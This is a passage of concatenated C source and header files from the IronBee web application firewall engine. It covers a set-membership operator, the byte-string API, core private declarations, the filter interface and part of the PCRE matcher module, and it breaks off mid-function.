NULL; per_operator = instance_data; assert(per_operator->set != NULL); if (field == NULL) { *result = 0; return IB_OK; } rc = ib_field_value_type( field, ib_ftype_bytestr_out(&input), IB_FTYPE_BYTESTR ); if (rc == IB_EINVAL) { ib_log_error_tx(tx, "Input to set_member %s is not a bytestring.", per_operator->set_name ); return IB_EINVAL; } assert(rc == IB_OK); rc = ib_hash_get_ex( per_operator->set, NULL, (const char *)ib_bytestr_const_ptr(input), ib_bytestr_length(input) ); if (rc == IB_ENOENT) { *result = 0; } else { assert(rc == IB_OK); *result = 1; } if (per_operator->debug) { ib_log_info_tx(tx, "set_member %s for %.*s = %s", per_operator->set_name, (int)ib_bytestr_length(input), ib_bytestr_const_ptr(input), (*result == 1 ? "yes" : "no") ); } return IB_OK; } static ib_status_t context_open( ib_engine_t *ib, ib_context_t *ctx, ib_state_t state, void *cbdata ) { assert(ib != NULL); assert(ctx != NULL); assert(state == context_open_state); assert(cbdata == NULL); ib_status_t rc; ib_mm_t mm; per_context_t *per_context = NULL; const ib_hash_t *parent_sets = NULL; ib_mm_t temp_mm; ib_hash_iterator_t *iterator = NULL; per_context = fetch_per_context(ctx); assert(per_context != NULL); mm = ib_context_get_mm(ctx); parent_sets = per_context->sets; assert(parent_sets != NULL); rc = ib_hash_create(&per_context->sets, mm); assert(rc == IB_OK); assert(per_context->sets != NULL); temp_mm = ib_engine_mm_temp_get(ib); iterator = ib_hash_iterator_create(temp_mm); assert(iterator != NULL); for ( ib_hash_iterator_first(iterator, parent_sets); ! ib_hash_iterator_at_end(iterator); ib_hash_iterator_next(iterator) ) { const char *key = NULL; size_t key_length = 0; const ib_hash_t *set = NULL; ib_hash_iterator_fetch(&key, &key_length, &set, iterator); assert(key != NULL); assert(set != NULL); rc = ib_hash_set_ex( per_context->sets, key, key_length, (void *)set ); assert(rc == IB_OK); } return IB_OK; }
crustymonkey/ironbee
include/ironbee/bytestr.h
<reponame>crustymonkey/ironbee /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_BYTESTR_H_ #define _IB_BYTESTR_H_ /** * @file * @brief IronBee --- Byte String Utility Functions * * @author <NAME> <<EMAIL>> */ #include <ironbee/types.h> #include <ironbee/build.h> #include <ironbee/mm.h> #include <string.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup IronBeeUtilByteStr Byte String * @ingroup IronBeeUtil * * Mpool managed strings with support for embedded NULs. * * @{ */ typedef struct ib_bytestr_t ib_bytestr_t; #define IB_BYTESTR_FREADONLY (1<<0) #define IB_BYTESTR_CHECK_FREADONLY(f) ((f) & IB_BYTESTR_FREADONLY) /** * Parameter for string/length formatter. * * Allow using a string and length for %.*s style formatters. * * @todo Fix with escaping for at least NULs * * @param s String * @param l Length */ #define IB_BYTESTRSL_FMT_PARAM(s, l) (int)(l), (const char *)(s) /** * Parameter for byte string formatter. * * Allows using a ib_bytestr_t with %.*s style formatters. * * @todo Fix for ib_bytestr_t type with escaping for at least NULs * * @param bs Bytestring */ #define IB_BYTESTR_FMT_PARAM(bs) \ (int)ib_bytestr_length(bs), (const char *)ib_bytestr_const_ptr(bs) /** Printf style format string for bytestr. */ #define IB_BYTESTR_FMT ".*s" /** * Create a byte string. * * @param pdst Address which new bytestring is written * @param mm Memory manager * @param size Size allocated for byte string * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_create(ib_bytestr_t **pdst, ib_mm_t mm, size_t size); /** * Create a byte string as a copy of another byte string. * * @param pdst Address which new bytestring is written * @param mm Memory manager * @param src Byte string to duplicate * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_dup(ib_bytestr_t **pdst, ib_mm_t mm, const ib_bytestr_t *src); /** * Create a byte string as a copy of a memory address and length. * * @param pdst Address which new bytestring is written * @param mm Memory manager * @param data Memory address which contains the data * @param dlen Length of data * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_dup_mem(ib_bytestr_t **pdst, ib_mm_t mm, const uint8_t *data, size_t dlen); /** * Create a byte string as a copy of a NUL terminated string. * * @param pdst Address which new bytestring is written * @param mm Memory manager * @param data String to duplicate * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_dup_nulstr(ib_bytestr_t **pdst, ib_mm_t mm, const char *data); /** * Create a byte string that is an alias (contains a reference) to the * data in another byte string. * * If either bytestring is modified, both will see the change as they * will both reference the same address. * * @param pdst Address which new bytestring is written * @param mm Memory manager * @param src Byte string to alias * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_alias(ib_bytestr_t **pdst, ib_mm_t mm, const ib_bytestr_t *src); /** * Create a byte string that is an alias (contains a reference) to the * data at a given memory location with a given length. * * If either the bytestring or memory is modified, both will see the change * as they will both reference the same address. * * @param pdst Address which new bytestring is written * @param mm Memory manager * @param data Memory address which contains the data * @param dlen Length of data * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_alias_mem(ib_bytestr_t **pdst, ib_mm_t mm, const uint8_t *data, size_t dlen); /** * Create a byte string that is an alias (contains a reference) to the * data in a NUL terminated string. * * If either the bytestring or string is modified, both will see the change * as they will both reference the same address. * * @param pdst Address which new bytestring is written * @param mm Memory manager * @param data String to alias * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_alias_nulstr(ib_bytestr_t **pdst, ib_mm_t mm, const char *data); /** * Set the value of the bytestring. * * @param dst Bytestring which will have data set * @param data New data * @param dlen New data length * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_setv(ib_bytestr_t *dst, uint8_t *data, size_t dlen); /** * Set the value of the bytestring, const version. * * @param dst Bytestring which will have data set * @param data New data * @param dlen New data length * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_setv_const(ib_bytestr_t *dst, const uint8_t *data, size_t dlen); /** * Extend a bytestring by appending the data from another bytestring. * * @param dst Bytestring which will have data appended * @param src Byte string which data is copied * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_append(ib_bytestr_t *dst, const ib_bytestr_t *src); /** * Extend a bytestring by appending the data from a memory address with * a given length. * * @param dst Bytestring which will have data appended * @param data Memory address containing the data * @param dlen Length of data * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_append_mem(ib_bytestr_t *dst, const uint8_t *data, size_t dlen); /** * Extend a bytestring by appending the data from a NUL terminated string. * * @note The NUL is not copied. * * @param dst Bytestring which will have data appended * @param data String containing data to be appended * * @returns Status code */ ib_status_t DLL_PUBLIC ib_bytestr_append_nulstr(ib_bytestr_t *dst, const char *data); /** * Length of the data in a byte string. * * @param bs Byte string * * @returns Length of data in bytestring. */ size_t DLL_PUBLIC ib_bytestr_length(const ib_bytestr_t *bs); /** * Allocated size of the data in a byte string. * * @param bs Byte string * * @returns Allocated size of data in bytestring. */ size_t DLL_PUBLIC ib_bytestr_size(const ib_bytestr_t *bs); /** * Memory manager associated with byte string. * * @param bs Byte string. * * @returns Memory manager associated with @a bs. */ ib_mm_t DLL_PUBLIC ib_bytestr_mm(const ib_bytestr_t *bs); /** * Raw buffer containing data in a byte string. * * @param bs Byte string * * @returns Address of byte string buffer or NULL if bs is read only. */ uint8_t DLL_PUBLIC *ib_bytestr_ptr(ib_bytestr_t *bs); /** * Is byte string read only? * * @param bs Byte string. * * @returns 1 if @a bs is read-only and 0 otherwise. **/ int ib_bytestr_read_only( const ib_bytestr_t *bs ); /** * Make byte string read only. * * Does nothing if @a bs is already read only. * * @param bs Byte string. **/ void ib_bytestr_make_read_only( ib_bytestr_t *bs ); /** * Const raw buffer containing data in a byte string. * * @param bs Byte string * * @returns Address of byte string buffer */ const uint8_t DLL_PUBLIC *ib_bytestr_const_ptr(const ib_bytestr_t *bs); /** * Search for a c string in a byte string. * * @param[in] haystack Byte string to search. * @param[in] needle String to search for. * * @returns position of the match, or -1 if there is no match */ int DLL_PUBLIC ib_bytestr_index_of_c(const ib_bytestr_t *haystack, const char *needle); /** @} IronBeeUtilByteStr */ #ifdef __cplusplus } #endif #endif /* _IB_BYTESTR_H_ */
crustymonkey/ironbee
engine/core_private.h
<reponame>crustymonkey/ironbee /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_CORE_PRIVATE_H_ #define _IB_CORE_PRIVATE_H_ /** * @file * @brief IronBee --- Engine Private Declarations * * @author <NAME> <<EMAIL>> */ #include "core_audit_private.h" #include <ironbee/context_selection.h> #include <ironbee/engine.h> #include <ironbee/types.h> typedef struct { const char *name; /**< Flag name */ const char *tx_name; /**< Name in the TX "FLAGS" collection */ ib_flags_t tx_flag; /**< TX flag value */ bool read_only; /**< Is setflag valid for this flag? */ bool default_value; /**< The flag's default value? */ } ib_tx_flag_map_t; /** Core-module-specific non-context-aware data accessed via module->data */ typedef struct { ib_list_t *site_list; /**< List: ib_site_t */ ib_list_t *selector_list; /**< List: core_site_selector_t */ ib_context_t *cur_ctx; /**< Current context */ ib_site_t *cur_site; /**< Current site */ ib_site_location_t *cur_location; /**< Current location */ } ib_core_module_data_t; /** Core module transaction data */ typedef struct { ib_num_t auditlog_parts; /**< Audit log parts */ } ib_core_module_tx_data_t; /** * Get the core module symbol structure * * @returns Core module static symbol */ ib_module_t *ib_core_module_sym(void); /** * Initialize the core fields. * * Called when the core is loaded, registers the core field generators. * * @param[in,out] ib IronBee object * @param[in] mod Module object */ ib_status_t ib_core_vars_init(ib_engine_t *ib, ib_module_t *mod); /** * Initialize the core config context for fields. * * Called when the core is loaded, registers the core field generators. * * @param[in,out] ib IronBee object * @param[in] mod Module object * @param[in] ctx Context. * @param[in] cbdata Callback data. * * @returns IB_OK on success. */ ib_status_t ib_core_vars_ctx_init(ib_engine_t *ib, ib_module_t *mod, ib_context_t *ctx, void *cbdata); /** * Get the core flags collection * * @returns Pointer to array of ib_tx_flag_map_t */ const ib_tx_flag_map_t *ib_core_vars_tx_flags( void ); /** * Get the core audit log parts string/value configuration map * * @param[out] pmap Pointer to the configuration map * * @returns Status code (IB_OK) */ ib_status_t ib_core_auditlog_parts_map( const ib_strval_t **pmap); /** * Get the core mode and data * * @param[in] engine IronBee engine * @param[out] core_module Pointer to core module (or NULL) * @param[out] core_data Pointer to core data (or NULL) * * @returns IB_OK / return value from ib_engine_module_get() */ ib_status_t ib_core_module_data( ib_engine_t *engine, ib_module_t **core_module, ib_core_module_data_t **core_data); /** * Initialize the core transformations. * * Called when the rule engine is loaded; registers the core transformations. * * @param[in,out] ib IronBee object * @param[in] mod Module object */ ib_status_t ib_core_transformations_init(ib_engine_t *ib, ib_module_t *mod); /** * Initialize the core operators. * * Called when the rule engine is loaded, registers the core operators. * * @param[in,out] ib IronBee object * @param[in] mod Module object */ ib_status_t ib_core_operators_init(ib_engine_t *ib, ib_module_t *mod); /** * Initialize the core actions. * * Called when the rule engine is loaded; registers the core actions. * * @param[in,out] ib IronBee object * @param[in] mod Module object */ ib_status_t ib_core_actions_init(ib_engine_t *ib, ib_module_t *mod); /** * Core site selection functions */ /** * Initialize the core context selection * * Called when the rule engine is loaded; registers the core context selection * functions. * * @param[in,out] ib IronBee object * @param[in] module Module object */ ib_status_t ib_core_ctxsel_init(ib_engine_t *ib, ib_module_t *module); /** Core collection managers functions */ /** * Register core collections managers * * @param[in] ib Engine * @param[in] module Collection manager's module object * * @returns Status code: * - IB_OK All OK, parameters recognized * - IB_Exxx Other error */ ib_status_t ib_core_collection_managers_register( ib_engine_t *ib, const ib_module_t *module); /** * Shut down core collections managers * * @param[in] ib Engine * @param[in] module Collection manager's module object * * @returns Status code: * - IB_OK All OK */ ib_status_t ib_core_collection_managers_finish( ib_engine_t *ib, const ib_module_t *module); #endif /* _IB_CORE_PRIVATE_H_ */
crustymonkey/ironbee
engine/filter.c
<reponame>crustymonkey/ironbee /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Filter Interface * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include "engine_private.h" #include <ironbee/engine.h> #include <ironbee/log.h> #include <ironbee/mm.h> #include <inttypes.h> #include <string.h> ib_status_t ib_fctl_tx_create(ib_fctl_t **pfc, ib_tx_t *tx, ib_mm_t mm) { // ib_engine_t *ib = tx->ib; ib_status_t rc = IB_OK; /* Create the main structure. */ *pfc = (ib_fctl_t *)ib_mm_calloc(mm, 1, sizeof(**pfc)); if (*pfc == NULL) { rc = IB_EALLOC; goto failed; } (*pfc)->ib = tx->ib; (*pfc)->mm = mm; (*pfc)->fdata.udata.tx = tx; /* Create streams */ rc = ib_stream_create(&(*pfc)->source, mm); if (rc != IB_OK) { goto failed; } rc = ib_stream_create(&(*pfc)->sink, mm); if (rc != IB_OK) { goto failed; } return rc; failed: /* Make sure everything is cleaned up on failure */ *pfc = NULL; return rc; } ib_status_t ib_fctl_config(ib_fctl_t *fc, ib_context_t *ctx) { // ib_engine_t *ib = fc->ib; ib_status_t rc; /* Use filters from context. */ fc->filters = ctx->filters; rc = ib_fctl_process(fc); return rc; } static ib_status_t filter_exec(ib_filter_t *f, ib_fdata_t *fdata) { // ib_engine_t *ib = f->ib; ib_context_t *ctx; ib_mm_t mm; ib_flags_t flags; ib_status_t rc; switch (f->type) { case IB_FILTER_TX: ctx = fdata->udata.tx->ctx; mm = fdata->udata.tx->mm; break; case IB_FILTER_CONN: ctx = fdata->udata.conn->ctx; mm = fdata->udata.conn->mm; break; default: return IB_EINVAL; } rc = f->fn_filter(f, fdata, ctx, mm, &flags); if (rc != IB_OK) { return rc; } /// @todo Handle flags return rc; } ib_status_t ib_fctl_process(ib_fctl_t *fc) { ib_engine_t *ib = fc->ib; ib_list_node_t *node; ib_status_t rc = IB_OK; if (fc->filters == NULL) { return IB_OK; } /* Prepare data for filtering. */ fc->fdata.stream = fc->source; /* Filter if there are filters. */ if (ib_list_elements(fc->filters) > 0) { IB_LIST_LOOP(fc->filters, node) { ib_filter_t *f = (ib_filter_t *)ib_list_node_data(node); rc = filter_exec(f, &fc->fdata); if (rc != IB_OK) { /// @todo Handle errors ib_log_error(ib, "Error processing filter idx=%zd \"%s\": %s", f->idx, f->name, ib_status_to_string(rc)); } } } /* Buffer if there is a buffer filter. */ if (fc->fbuffer) { rc = filter_exec(fc->fbuffer, &fc->fdata); if (rc != IB_OK) { return rc; } } /* Move anything remaining in the stream to the sink. */ if (fc->fdata.stream->nelts) { ib_sdata_t *sdata; /// @todo Need API to move data between streams. rc = ib_stream_pull(fc->fdata.stream, &sdata); while (rc == IB_OK) { rc = ib_stream_push_sdata(fc->sink, sdata); if (rc == IB_OK) { rc = ib_stream_pull(fc->fdata.stream, &sdata); } } if (rc != IB_ENOENT) { return rc; } } return IB_OK; } ib_status_t ib_fctl_data_add(ib_fctl_t *fc, void *data, size_t dlen) { // ib_engine_t *ib = fc->ib; ib_status_t rc; rc = ib_stream_push(fc->source, IB_STREAM_DATA, data, dlen); if (rc != IB_OK) { return rc; } rc = ib_fctl_process(fc); return rc; } ib_status_t ib_fctl_meta_add(ib_fctl_t *fc, ib_sdata_type_t stype) { // ib_engine_t *ib = fc->ib; ib_status_t rc; rc = ib_stream_push(fc->source, stype, NULL, 0); if (rc != IB_OK) { return rc; } rc = ib_fctl_process(fc); return rc; } ib_status_t ib_fctl_drain(ib_fctl_t *fc, ib_stream_t **pstream) { if (pstream != NULL) { *pstream = fc->sink; } return IB_OK; } ib_status_t ib_filter_register(ib_filter_t **pf, ib_engine_t *ib, const char *name, ib_filter_type_t type, ib_flags_t options, ib_filter_fn_t fn_filter, void *cbdata) { ib_status_t rc; *pf = (ib_filter_t *)ib_mm_calloc( ib_engine_mm_main_get(ib), 1, sizeof(**pf) ); if (*pf == NULL) { return IB_EALLOC; } (*pf)->ib = ib; (*pf)->name = ib_mm_strdup(ib_engine_mm_main_get(ib), name); (*pf)->type = type; (*pf)->options = options; (*pf)->idx = ib_array_elements(ib->filters); (*pf)->fn_filter = fn_filter; (*pf)->cbdata = cbdata; rc = ib_array_setn(ib->filters, (*pf)->idx, *pf); if (rc != IB_OK) { ib_log_error(ib, "Error registering filter %s: %s", (*pf)->name, ib_status_to_string(rc) ); *pf = NULL; return rc; } return rc; }
crustymonkey/ironbee
modules/pcre.c
<filename>modules/pcre.c<gh_stars>1-10 /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- HTP Module * * This module adds a PCRE based matcher named "pcre". * * @author <NAME> <<EMAIL>> */ #include <ironbee/bytestr.h> #include <ironbee/capture.h> #include <ironbee/cfgmap.h> #include <ironbee/context.h> #include <ironbee/engine.h> #include <ironbee/escape.h> #include <ironbee/field.h> #include <ironbee/mm.h> #include <ironbee/module.h> #include <ironbee/operator.h> #include <ironbee/rule_engine.h> #include <ironbee/string.h> #include <ironbee/transformation.h> #include <ironbee/util.h> #include <pcre.h> #include <assert.h> #include <ctype.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <time.h> /* Define the module name as well as a string version of it. */ #define MODULE_NAME pcre #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) /* How many matches will PCRE find and populate. */ #define MATCH_MAX 10 /* PCRE can use an independent stack or the machine stack. * If PCRE_JIT_STACK is true (conditional on PCRE_HAVE_JIT being true) * then pcrejit will use an independent stack. If PCRE_JIT_STACK is not * defined then the machine stack will be used. */ #ifdef PCRE_HAVE_JIT #define PCRE_JIT_STACK const int PCRE_JIT_STACK_START_MULT = 32; const int PCRE_JIT_STACK_MAX_MULT = 512; #endif /* Port forward the pcre constant PCRE_PARTIAL as PCRE_PARTIAL_SOFT. */ #ifndef PCRE_PARTIAL_SOFT #define PCRE_PARTIAL_SOFT PCRE_PARTIAL #endif /** * From pcreapi man page. */ #define WORKSPACE_SIZE_MIN (20) /** * Build a reasonable buffer size. */ #define WORKSPACE_SIZE_DEFAULT (WORKSPACE_SIZE_MIN * 10) /* Define the public module symbol. */ IB_MODULE_DECLARE(); /** * Module Configuration Structure. */ typedef struct modpcre_cfg_t { ib_num_t study; /**< Bool: Study compiled regexs */ ib_num_t use_jit; /**< Bool: Use JIT if available */ ib_num_t match_limit; /**< Match limit */ ib_num_t match_limit_recursion; /**< Match recursion depth limit */ ib_num_t jit_stack_start; /**< Starting JIT stack size */ ib_num_t jit_stack_max; /**< Max JIT stack size */ ib_num_t dfa_workspace_size; /**< Size of DFA workspace */ } modpcre_cfg_t; /** * Internal representation of PCRE compiled patterns. */ typedef struct modpcre_cpat_data_t { pcre *cpatt; /**< Compiled pattern */ size_t cpatt_sz; /**< Size of cpatt. */ pcre_extra *edata; /**< PCRE Study data */ size_t study_data_sz; /**< Size of edata->study_data. */ const char *patt; /**< Regex pattern text */ bool is_dfa; /**< Is this a DFA? */ bool is_jit; /**< Is this JIT compiled? */ int jit_stack_start; /**< Starting JIT stack size */ int jit_stack_max; /**< Max JIT stack size */ int dfa_ws_size; /**< Size of DFA workspace */ } modpcre_cpat_data_t; /** * PCRE and DFA rule data types are an alias for the compiled pattern structure. */ struct modpcre_operator_data_t { modpcre_cpat_data_t *cpdata; /**< Compiled pattern data */ const char *id; /**< ID for DFA rules */ }; typedef struct modpcre_operator_data_t modpcre_operator_data_t; /* Instantiate a module global configuration. */ static modpcre_cfg_t modpcre_global_cfg = { 1, /* study */ 1, /* use_jit */ 5000, /* match_limit */ 5000, /* match_limit_recursion */ 0, /* jit_stack_start; 0 means auto */ 0, /* jit_stack_max; 0 means auto */ WORKSPACE_SIZE_DEFAULT /* dfa_workspace_size */ }; /** * An adapter function to allow freeing of pcre_extra data via mpool callbacks. */ static void pcre_free_study_wrapper(void *edata) { if (edata != NULL) { #ifdef HAVE_PCRE_FREE_STUDY pcre_free_study((pcre_extra *)edata); #else pcre_free(edata); #endif } } /** * Internal compilation of the modpcre pattern. * * @param[in] ib IronBee engine for logging. * @param[in] mm The memory manager to allocate memory out of. * @param[in] config Module configuration * @param[in] is_dfa Set to true for DFA * @param[out] pcpdata Pointer to new struct containing the compilation. * @param[in] patt The uncompiled pattern to match. * @param[out] errptr Pointer to an error message describing the failure. * @param[out] erroffset The location of the failure, if this fails. * * @returns IronBee status. IB_EINVAL if the pattern is invalid, * IB_EALLOC if memory allocation fails or IB_OK. */ static ib_status_t pcre_compile_internal(ib_engine_t *ib, ib_mm_t mm, const modpcre_cfg_t *config, bool is_dfa, modpcre_cpat_data_t **pcpdata, const char *patt, const char **errptr, int *erroffset) { assert(ib != NULL); assert(config != NULL); assert(pcpdata != NULL); assert(patt != NULL); /* Pattern data structure we'll create */ modpcre_cpat_data_t *cpdata; /* Compiled pattern. */ pcre *cpatt = NULL; /* Compiled pattern size. Used to copy cpatt. */ size_t cpatt_sz; /* Extra data structure. This contains the study_data pointer. */ pcre_extra *edata = NULL; /* Size of edata->study_data. */ size_t study_data_sz; /* How cpatt is produced. */ const int compile_flags = PCRE_DOTALL | PCRE_DOLLAR_ENDONLY; /* Are we using JIT? */ bool use_jit = !is_dfa; #ifdef PCRE_HAVE_JIT if (config->use_jit == 0) { use_jit = false; } /* Do we want to be using JIT? */ const bool want_jit = use_jit; #else use_jit = false; #endif /* PCRE_HAVE_JIT */ cpatt = pcre_compile(patt, compile_flags, errptr, erroffset, NULL); if (*errptr != NULL) { ib_log_error(ib, "Error compiling PCRE pattern \"%s\": %s at offset %d", patt, *errptr, *erroffset); return IB_EINVAL; } if (config->study) { if (use_jit) { #ifdef PCRE_HAVE_JIT edata = pcre_study(cpatt, PCRE_STUDY_JIT_COMPILE, errptr); if (*errptr != NULL) { use_jit = false; ib_log_warning(ib, "PCRE-JIT study failed: %s", *errptr); } #endif } else { edata = pcre_study(cpatt, 0, errptr); if (*errptr != NULL) { pcre_free(cpatt); ib_log_error(ib, "PCRE study failed: %s", *errptr); return IB_EINVAL; } } } else if (use_jit) { ib_log_warning(ib, "PCRE: Disabling JIT because study disabled"); use_jit = false; } #ifdef PCRE_HAVE_JIT /* The check to see if JIT compilation was a success changed in 8.20RC1 now uses pcre_fullinfo see doc/pcrejit.3 */ if (use_jit) { int rc; int pcre_jit_ret; rc = pcre_fullinfo(cpatt, edata, PCRE_INFO_JIT, &pcre_jit_ret); if (rc != 0) { ib_log_error(ib, "PCRE-JIT failed to get pcre_fullinfo"); use_jit = false; } else if (pcre_jit_ret != 1) { ib_log_info(ib, "PCRE-JIT compiler does not support: %s", patt); use_jit = false; } else { /* Assume pcre_jit_ret == 1. */ /* Do nothing */ } } if (want_jit && !use_jit) { ib_log_info(ib, "Falling back to normal PCRE"); } #endif /*PCRE_HAVE_JIT*/ /* Compute the size of the populated values of cpatt. */ pcre_fullinfo(cpatt, edata, PCRE_INFO_SIZE, &cpatt_sz); if (edata != NULL) { pcre_fullinfo(cpatt, edata, PCRE_INFO_STUDYSIZE, &study_data_sz); } else { study_data_sz = 0; } /** * Below is only allocation and copy operations to pass the PCRE results * back to the output variable cpdata. */ cpdata = (modpcre_cpat_data_t *)ib_mm_calloc(mm, sizeof(*cpdata), 1); if (cpdata == NULL) { pcre_free(cpatt); #ifdef HAVE_PCRE_FREE_STUDY pcre_free_study((pcre_extra *)edata); #else pcre_free(edata); #endif ib_log_error(ib, "Failed to allocate cpdata of size: %zd", sizeof(*cpdata)); return IB_EALLOC; } cpdata->is_dfa = is_dfa; cpdata->is_jit = use_jit; cpdata->cpatt_sz = cpatt_sz; cpdata->study_data_sz = study_data_sz; /* Copy pattern. */ cpdata->patt = ib_mm_strdup(mm, patt); if (cpdata->patt == NULL) { pcre_free(cpatt); #ifdef HAVE_PCRE_FREE_STUDY pcre_free_study((pcre_extra *)edata); #else pcre_free(edata); #endif ib_log_error(ib, "Failed to duplicate pattern string: %s", patt); return IB_EALLOC; } /* Set compiled pattern and register cleanup.. */ cpdata->cpatt = cpatt; ib_mm_register_cleanup(mm, pcre_free, cpatt); /* Set extra data (study data). */ if (edata != NULL) { cpdata->edata = edata; ib_mm_register_cleanup(mm, pcre_free_study_wrapper, edata); } else { cpdata->edata = ib_mm_calloc(mm, 1, sizeof(*edata)); if (cpdata->edata == NULL) { pcre_free(cpatt); return IB_EALLOC; } } /* Set the PCRE limits for non-DFA patterns */ if (! is_dfa) { cpdata->edata->flags |= (PCRE_EXTRA_MATCH_LIMIT | PCRE_EXTRA_MATCH_LIMIT_RECURSION); cpdata->edata->match_limit = (unsigned long)config->match_limit; cpdata->edata->match_limit_recursion = (unsigned long)config->match_limit_recursion; cpdata->dfa_ws_size = 0; } else { cpdata->edata->match_limit = 0U; cpdata->edata->match_limit_recursion = 0U; cpdata->dfa_ws_size = (int)config->dfa_workspace_size; } /* Set stack limits for JIT */ if (cpdata->is_jit) { #ifdef PCRE_HAVE_JIT if (config->jit_stack_start == 0U) { cpdata->jit_stack_start = PCRE_JIT_STACK_START_MULT * config->match_limit_recursion; } else { cpdata->jit_stack_start = (int)config->jit_stack_start; } if (config->jit_stack_max == 0U) { cpdata->jit_stack_max = PCRE_JIT_STACK_MAX_MULT * config->match_limit_recursion; } else { cpdata->jit_stack_max = (int)config->jit_stack_max; } #endif } else { cpdata->jit_stack_start = 0; cpdata->jit_stack_max = 0; } ib_log_trace(ib, "Compiled PCRE pattern \"%s\": " "limit=%ld rlimit=%ld " "dfa=%s dfa-ws-sz=%d " "jit=%s jit-stack: start=%d max=%d", patt, cpdata->edata->match_limit, cpdata->edata->match_limit_recursion, cpdata->is_dfa ? "yes" : "no", cpdata->dfa_ws_size, cpdata->is_jit ? "yes" : "no", cpdata->jit_stack_start, cpdata->jit_stack_max); *pcpdata = cpdata; return IB_OK; } /** * Create the PCRE operator. * * @param[in] ctx Current context. * @param[in] mm Memory manager. * @param[in] parameters Unparsed string with the parameters to * initialize the operator instance. * @param[out] instance_data Instance data. * @param[in] cbdata Callback data. * * @returns IB_OK on success or IB_EALLOC on any other type of error. */ static ib_status_t pcre_operator_create( ib_context_t *ctx, ib_mm_t mm, const char *parameters, void *instance_data, void *cbdata ) { assert(ctx != NULL); assert(parameters != NULL); assert(instance_data != NULL); ib_engine_t *ib = ib_context_get_engine(ctx); assert(ib != NULL); modpcre_cpat_data_t *cpdata = NULL; modpcre_operator_data_t *operator_data = NULL; ib_module_t *module; modpcre_cfg_t *config; ib_status_t rc; const char *errptr; int erroffset; if (parameters == NULL) { ib_log_error(ib, "No pattern for operator."); return IB_EINVAL; } /* Get my module object */ rc = ib_engine_module_get(ib, MODULE_NAME_STR, &module); if (rc != IB_OK) { ib_log_error(ib, "Error getting pcre module object: %s", ib_status_to_string(rc)); return rc; } /* Get the context configuration */ rc = ib_context_module_config(ctx, module, &config); if (rc != IB_OK) { ib_log_error(ib, "Error getting pcre module configuration: %s", ib_status_to_string(rc)); return rc; } /* Compile the pattern. Note that the rule data is an alias for * the compiled pattern type */ rc = pcre_compile_internal(ib, mm, config, false, &cpdata, parameters, &errptr, &erroffset); if (rc != IB_OK) { return rc; } /* Allocate a rule data object, populate it */ operator_data = ib_mm_alloc(mm, sizeof(*operator_data)); if (operator_data == NULL) { return IB_EALLOC; } operator_data->cpdata = cpdata; operator_data->id = NULL; /* Not needed for rx rules */ /* Rule data is an alias for the compiled pattern data */ *(modpcre_operator_data_t **)instance_data = operator_data; return rc; } /** * Set the matches into the given field name as .0, .1, .2 ... .9. * * @param[in] tx Current transaction. * @param[in] capture Collection to capture to. * @param[in] ovector The vector of integer pairs of matches from PCRE. * @param[in] matches The number of matches. * @param[in] subject The matched-against string data. * * @returns IB_OK or IB_EALLOC. */ static ib_status_t pcre_set_matches( const ib_tx_t *tx, ib_field_t *capture, int *ovector, int matches, const char *subject ) { assert(tx != NULL); assert(tx->ib != NULL); assert(capture != NULL); assert(ovector != NULL); ib_status_t rc; int i; rc = ib_capture_clear(capture); if (rc != IB_OK) { ib_log_error_tx(tx, "Error clearing captures: %s", ib_status_to_string(rc)); } /* We have a match! Now populate TX:0-9 in tx->data. 